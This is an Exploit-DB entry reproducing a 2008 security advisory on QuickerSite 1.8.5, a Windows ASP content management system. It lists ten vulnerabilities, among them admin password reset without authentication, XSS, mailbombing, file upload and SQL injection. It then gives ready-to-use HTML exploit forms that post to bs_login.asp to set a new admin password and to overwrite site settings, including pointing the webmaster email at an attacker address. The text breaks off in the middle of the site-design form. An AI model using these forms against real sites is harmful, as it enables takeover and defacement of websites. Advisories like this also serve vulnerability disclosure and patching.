Exploit-DB #5733
Description: QuickerSite 1.8.5 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-03
Author: BugReport.IR

Exploit:
########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: QuickerSite Multiple Vulnerabilities
# Vendor: www.quickersite.com
# Vulnerable Version: 1.8.5
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/39
###################################################################################

####################
1. Description:
####################
    QuickerSite is a Content Management System for Windows Servers. It is written in ASP/VBScript with an optional pinch of ASP.NET for true image-resizing capabilities. QuickerSite ships with an Access database, with the option to upsize to SQL Server 2000/2005 for busy sites (>1000 visitors/day).
####################
2. Vulnerabilities:
####################
    2.1. Insecure Direct Object Reference [in "bs_login.asp"]. Everyone can change admin password.
        2.1.1. Exploit:
                Check the exploit section.
    2.2. Insecure Direct Object Reference [in "bs_login.asp"]. Everyone can edit all the site info., such as admin email address.
        2.2.1. Exploit:
                Check the exploit section.
    2.3. Insecure Direct Object Reference [in "bs_login.asp"]. Everyone can edit all the site design. (Also, all the site settings can be changed by other parameters)
        2.3.1. Exploit:
                Check the exploit section.
    2.4. Failure to Restrict URL Access [in "mailPage.asp"]. Everyone can mailbomb others.
        2.4.1. Exploit:
                Check the exploit section.
    2.5. Cross Site Scripting (XSS) [in "showThumb.aspx"]. Reflected XSS attack by circumventing the ASP.Net XSS denier (Path disclosure on the open error mode).
        2.5.1. Exploit:
                Check the exploit section.
    2.6. Cross Site Scripting (XSS), Failure to Restrict URL Access [in "process_send.asp"]. Redirect Reflected XSS Attack In "SB_redirect" parameter. Reflected XSS, Content Spoofing In "SB_feedback" parameter. Everyone can mailbomb others.
        2.6.1. Exploit:
                Check the exploit section.
    2.7. Cross Site Scripting (XSS) [in "picker.asp"]. Reflected XSS attack in "paramCode" and "cColor" parameters.
        2.7.1. Exploit:
                Check the exploit section.
    2.8. Cross Site Scripting (XSS) [in "rss.asp"]. Stored XSS attack in "X-FORWARDED-FOR","QueryString","Referer"" header parameter. Attacker can execute an XSS against Admin.
        2.8.1. Exploit:
                Check the exploit section.
    2.9. File uploading is allowed by FCKEDITOR.
        2.9.1. Exploit:
                Check the exploit section.
    2.10. Injection Flaws [in "/asp/includes/contact.asp"]. SQL Injection on "check" function in "sNickName" parameter.
        2.10.1. Exploit:
                Check the exploit section.
####################
3. Exploits:
####################

    Original Exploit URL: http://bugreport.ir/index.php?/39/exploit
    3.1. Everyone can change admin password.
        -------------
        <form action="http://[URL]/asp/bs_login.asp?btnAction=cSaveAdminPW" method="post">
        adminPassword: <input type="text" name="adminPassword" value="" size="30" /><br />
        adminPasswordConfirm: <input type="text" name="adminPasswordConfirm" value="" size="30" /><br />
        <input type="submit" />
        </form>
        -------------
    3.2. Everyone can edit all the site info., such as admin email address.
        -------------
        <form action="http://[URL]/asp/bs_login.asp?btnAction=saveAdmin" method="post">
        Site Url: <input type="text" name="sUrl" value="http://www.VICTIM.com" size="100" /><br />
        Site AlternateDomains: <input type="text" name="sAlternateDomains" value="http://www.VICTIM-Backup.com" size="100" /><br />
        Description: <input type="text" name="sDescription" value="Hacked Description" size="100" /><br />
        Site Name: <input type="text" name="siteName" value="Hacked Site Name" size="100" /><br />
        Site Title: <input type="text" name="siteTitle" value="Hacked Site Title" size="100" /><br />
        CopyRight: <input type="text" name="copyRight" value="Hacked CopyRight" size="100" /><br />
        Keywords: <input type="text" name="keywords" value="Hacked KeyWords" size="100" /><br />
        Google Analytics: <input type="text" name="googleAnalytics" value="Hacked Google Anal!" size="100" /><br />
        Language: <input type="text" name="language" value="1" size="100" /><br />
        DatumFormat: <input type="text" name="sDatumFormat" value="1" size="100" /><br />
        Webmaster: <input type="text" name="webmaster" value="Hacker" size="100" /><br />
        Webmaster Email: <input type="text" name="webmasterEmail" value="MyEmail-ResetPassword@Hacker.Com" size="100" /><br />
        Default RSS Link: <input type="text" name="sDefaultRSSLink" value="http://www.VICTIM.com/RSS.asp" size="100" /><br />
        <input type="submit" />
        </form>
        -------------
    3.3. Everyone can edit all the site design.
        -------------
        <form action="http://[URL]/asp/bs_login.asp?btnAction=saveDesign" method="post">
        siteWidth: <input type="text" name="siteWidth" value="800" size="30" /><br />
        menuWidth: <input type="text" name="menuWidth" value="600" size="30" /><br />
        bgColorSides: <input type="text" name="bgColorSides" value="" size="30" /><br />
        bgImageLeft: <input type="text" name="bgImageLeft" value="" size="30" /><br />
        bgImageRight: <input type="text" name="bgImageRight" value="" size="30" /><br />
        mainBGColor: <input type="text" name="mainBGColor" value="" size="30" /><br />
        mainBgImage: <input type="text" name="mainBgImage" value="" size="30" /><br />
        scheidingsLijnColor: <input type="text" name="scheidingsLijnColor" value="" size="30" /><br />